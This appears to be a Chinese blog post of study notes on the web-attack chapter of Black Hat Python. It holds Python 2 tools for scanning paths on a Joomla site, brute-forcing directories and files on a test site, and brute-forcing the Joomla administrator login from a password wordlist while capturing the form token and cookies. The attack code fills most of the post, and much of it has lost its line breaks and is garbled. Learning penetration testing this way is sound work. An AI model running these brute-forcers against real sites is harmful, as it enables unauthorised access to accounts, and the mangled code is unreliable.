《Python黑帽子:黑客与渗透测试编程之道》读书笔记(四):web攻击
目录
- 前言
- 1、urllib2
- 2、开源web应用安装
- 3、破解目录和文件位置
- 4、破解HTML表格认证
- 结语
前言
《Python黑帽子:黑客与渗透测试编程之道》的读书笔记,会包括书中源码,并自己将其中一些改写成Python3版本。书是比较老了,anyway,还是本很好的书
本篇是第5章web攻击,包括urllib2库,安装应用,破解目录,破解html表格认证
1、urllib2
编写与web服务交互的工具需要urllib2
下面简单看看如何创建一个GET请求,并定义一个user-agent
#!/usr/bin/env python
#-*- coding:utf8 -*-import urllib2url = "http://www.360.cn/"headers={}
# Googlebot -> google爬虫
headers['User-Agent'] = "Googlebot"request = urllib2.Request(url,headers=headers)
response = urllib2.urlopen(request)print response.read()
response.close()
2、开源web应用安装
其实是获取远程目标所有文件的扫描器
#!/usr/bin/env python
#-*- coding:utf8 -*-import Queue
import threading
import os
import urllib2threads = 10# 感兴趣的目标
target = "http://192.168.1.105/Joomla/"
directory = "./Joomla/"
filters = ["jpg", ".gif", ".png", ".css"]os.chdir(directory)
web_paths = Queue.Queue()# 遍历目录
for r,d,f in os.walk("."):for files in f:remote_path = "%s%s" % (r,files)if remote_path.startswith("."):remote_path = remote_path[1:]if os.path.splitext(files)[1] not in filters:web_paths.put(remote_path)def test_remote():while not web_paths.empty():path = web_paths.get()url = "%s%s" % (target, path)request = urllib2.Request(url)try:response = urllib2.urlopen(request)content = response.read()print "[%d] => %s" % (response.code, path)response.close()except urllib2.HTTPError as error:print "Failed %s" % error.codepassfor i in range(threads):print "Spawning thread %d" % it = threading.Thread(target=test_remote)t.start()
3、破解目录和文件位置
一个简单的目录爆破
#!/usr/bin/env python
#-*- coding:utf8 -*-import urllib2
import threading
import Queue
import urllib threads = 50
target_url = "http://testphp.vulnweb.com"
wordlist_file = "./all.txt" #这个字典可参考SVNDigger或DirBuster
resume = None #作者说用于网络中断时,延续上一个尝试的字符串,而不用从头开始,这里好像没用到
user_agent = "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.80 Safari/537.36" def built_wordlist(wordlist_file): #读入字典文件 fd = open(wordlist_file, "rb") raw_words = fd.readlines() fd.close() found_resume = False words = Queue.Queue() for word in raw_words: #删除字符串末尾的空格 word = word.rstrip() #如果是延续上一次if resume is not None: if found_resume: words.put(word) else: if word == resume: found_resume = True print "Resuming wordlist from: %s" % resume else: words.put(word) return words def dir_bruter(word_queue, extentsions=None): while not word_queue.empty(): attempt = word_queue.get() #用于储存要尝试的urlattempt_list = [] #检查是否有文件扩展名,如果没有就是我们要爆破路径,否则爆破文件 if "." not in attempt: attempt_list.append("/%s/" % attempt) else: attempt_list.append("/%s" % attempt) #如果我们想暴力破解扩展名 if extentsions: for extentsion in extentsions: attempt_list.append("/%s%s" % (attempt, extentsion)) #迭代我们要尝试的文件列表 for brute in attempt_list: #构造urlurl = "%s%s" % (target_url, urllib.quote(brute)) #print url try: headers = {} headers['User-Agent'] = user_agent r = urllib2.Request(url, headers=headers) response = urllib2.urlopen(r) #print response.__dict__if len(response.read()): print "[%d] => %s" % (response.code, url) #用e接收URLError的信息 except urllib2.URLError,e: # code属性存在,并且code不是404 if hasattr(e, 'code') and e.code != 404: print "!!! %d => %s" % (e.code, url) pass word_queue = built_wordlist(wordlist_file)
extentsions = [".php", ".bak", ".orig",".inc"] #开启多线程扫描
for i in range(threads): t = threading.Thread(target=dir_bruter, args=(word_queue, extentsions)) t.start()
4、破解HTML表格认证
这是一个暴力破解Joomla的例子
- 在提交密码前检索token
- 利用urllib2建立session时设置cookie
Joomla的管理员表单
#!/usr/bin/env python
#-*- coding:utf8 -*-import urllib2
import urllib
import cookielib
import threading
import sys
import Queuefrom HTMLParser import HTMLParser#简要设置
user_thread = 10
username ="giantbranch"
wordlist_file ="./mydict.txt"
resume = None#特点目标设置
target_url = "http://192.168.1.105/Joomla/administrator/index.php"
target_post = "http://192.168.1.105/Joomla/administrator/index.php"username_field = "username"
password_field = "passwd"#登陆成功后,title里面就有下面的文字,注意是语言是英文才是下面的哦
success_check = "Administration - Control Panel"class BruteParser(HTMLParser):def __init__(self):HTMLParser.__init__(self)# 字典存储结果self.tag_results = {}#当我们调用feed函数时,他将整个HTML文档传递进来并在遇到每个标签时调用下面这个函数(根据函数名就容易理解)def handle_starttag(self, tag, attrs):#判断是否是input标签if tag == "input":tag_name = Nonetag_value = Nonefor name,value in attrs:#input标签里面不是有name,value,type等属性吗,这里只判断name和value#不过我觉得第二个if是多余的if name == "name":tag_name = valueif name == "value":tag_value = valueif tag_name is not None:self.tag_results[tag_name] = valueclass Bruter(object):def __init__(self, username, words):self.username = usernameself.password_q = wordsself.found = Falseprint "Finished setting up for %s" % usernamedef run_bruteforce(self):for i in range(user_thread):t = threading.Thread(target=self.web_bruter)t.start()def web_bruter(self):while not self.password_q.empty() and not self.found:#从字典获取密码,并去除右边的空格brute = self.password_q.get().rstrip()#使用FileCookieJar类,将cookie值储存到文件,参数为文件名,可用于存取cookiejar = cookielib.FileCookieJar("cookies")#用上面的jar初始化urllib2打开器,这样下面请求url时,就会把cookie值存到那个文件中opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(jar))response =opener.open(target_url)page = response.read()print "Trying: %s : %s (%d left)" % (self.username, brute, self.password_q.qsize())#解析隐藏区域(表单)parser = BruteParser()parser.feed(page)#已经含有隐藏表单的键值post_tags = parser.tag_results#添加我们的用户名和密码区域post_tags[username_field] = self.usernamepost_tags[password_field] = brute#输出post的数据(键值)# for key,value in post_tags.items():# print key,':',value#url编码post的数据,开始尝试登陆login_data = urllib.urlencode(post_tags)login_response =opener.open(target_post, login_data)login_result = login_response.read()# 判断是否登陆成功if success_check in login_result:#设置为True,让循环结束self.found = Trueprint "[*] Bruteforce successful."print "[*] Username: %s" % usernameprint "[*] Password: %s" % bruteprint "[*] Waiting for other threads to exit..."def built_wordlist(wordlist_file):#读入字典文件fd = open(wordlist_file, "rb")raw_words = fd.readlines()fd.close()found_resume = Falsewords = Queue.Queue()for word in raw_words:#删除字符串末尾的空格word = word.rstrip()#如果是延续上一次if resume is not None:if found_resume:words.put(word)else:if word == resume:found_resume = Trueprint "Resuming wordlist from: %s" % resumeelse:words.put(word)return words#构造字典
words = built_wordlist(wordlist_file)#初始化Bruter类
bruter_obj = Bruter(username, words)
#调用run_bruteforce函数
bruter_obj.run_bruteforce()
结语
主要是学习web交互时的一些攻击,利用urllib2
但是由于本书较老,现在已经是urllib3了,对应HTTP1.1
所以实际应用时需要做相应修改
《Python黑帽子:黑客与渗透测试编程之道》读书笔记(四):web攻击相关推荐
- Python黑帽子--黑客与渗透测试编程之道 python3 实现代码
最近在看 Python黑帽子–黑客与渗透测试编程之道 这本书 发现这本书的代码实现都是使用python2 的于是我就想使用python3来实现 缓慢更新中 python2版本 有一个博主写的特别好 这 ...
- Python黑帽子 黑客与渗透测试编程之道(七) 第四章:Scapy:网络的掌控者
1 窃取Email认证 代码: from scapy.all import *def packet_callback(packet):if packet[TCP].payload:mail_packe ...
- Python黑帽子-黑客与渗透测试编程之道
Python黑帽子-黑客与渗透测试编程之道 时间:2018年4月28日 前言 本文参考了两篇资料,优化补全了代码内容 giantbranch 的 Python黑帽子–黑客与渗透测试编程之道 意闲 的 ...
- 关于《Python黑帽子:黑客与渗透测试编程之道》的学习笔记
本篇文章是学习<Python黑帽子:黑客与渗透测试编程之道>的笔记,会持续地将书上的代码自己敲一遍,从而让自己对Python的安全编程有更多的了解,同时希望各位可以给给建议,不足之处太多了 ...
- 《Python黑帽子:黑客与渗透测试编程之道》读书笔记(三):scapy——网络的掌控者
目录 前言 1.窃取email认证 2.ARP缓存投毒 3.PCAP文件处理 结语 前言 <Python黑帽子:黑客与渗透测试编程之道>的读书笔记,会包括书中源码,并自己将其中一些改写成P ...
- 《Python黑帽子:黑客与渗透测试编程之道》读书笔记(九):自动化攻击取证
目录 前言 1.Volatility配置 2.抓取口令的哈希值 3.直接代码注入 4.插入shellcode 结语 前言 <Python黑帽子:黑客与渗透测试编程之道>的读书笔记,会包括书 ...
- 《Python黑帽子:黑客与渗透测试编程之道》读书笔记(二):原始套接字和流量嗅探
目录 前言 1.Windows和Linux上的包嗅探 2.解码IP层 3.解码ICMP层 4.发现主机 结语 前言 <Python黑帽子:黑客与渗透测试编程之道>的读书笔记,会包括书中源码 ...
- 《Python黑帽子:黑客与渗透测试编程之道》读书笔记(五):扩展burp代理
目录 前言 1.burp的fuzz脚本 2.burp中利用Bing服务 3.利用网站内容生成密码字典 结语 前言 <Python黑帽子:黑客与渗透测试编程之道>的读书笔记,会包括书中源码, ...
- 《Python黑帽子:黑客与渗透测试编程之道》 Web攻击
Web的套接字函数库:urllib2 一开始以urllib2.py命名脚本,在Sublime Text中运行会出错,纠错后发现是重名了,改过来就好: #!/usr/bin/python #coding ...
最新文章
- matlab数值分析拟合实例,数值分析函数拟合matlab代码.doc
- 25个强大的 jQuery 砌体网页设计作品
- Java开源——常见J2EE框架简介
- 大地震前有三个明显征兆:1.井水异常2.牲畜反应异常3.专家出来辟谣。但是细心网友指出,第三和第二重复了。...
- Spark Streaming从Kafka中拉取数据,并且使用过“窗口函数”统计一些流量信息
- mysql删除重复sql_mysql中删除完全重复数据的准确SQL语句
- Spring体系常用方法(一)
- C语言一维数组实现杨辉三角,一维数组实现杨辉三角
- 开启MYSQL慢查询日志
- 宝宝胆小怎么办,家长怎么做?
- 手把手教你Dojo入门
- 关于windows server与SQL server用户数的解释 (转)
- paip.论.NET体系的优缺点).txt
- 蚂蚁财富号:大、小型基金公司的电商业务对比
- FPN网络结构及Pytorch实现
- 阿里云数据库RDS如何用Navicat连接?
- 笔记-中项/高项学习期间的错题笔记1
- 第29届奥运会中国代表团夺金榜
- 牛刀:房价泡沫的破灭只是人性的回归
- 【大前端】独家下载!看阿里巴巴前端技术专家解读2021前端热门技术趋势
热门文章
- vim配置(基于vundle)
- python语言实现【使用自带smtp服务的阿里云邮箱,发送邮件】
- WiderPerson行人检测数据集转yolo格式
- PIC16F882_883_884_886_887_中文PDF
- 2022年二级建造师考试建设工程施工管理练习题及答案
- java基础教程第三版耿祥义电子档,统统都会!
- arcgisRBF(径向基函数)坐标转换(54-2000)
- malloc / free:SBH(Small Block Heap)——以VC6为例
- pycharm设置主题和字体
- 虚拟机ping不通过外网怎么解决?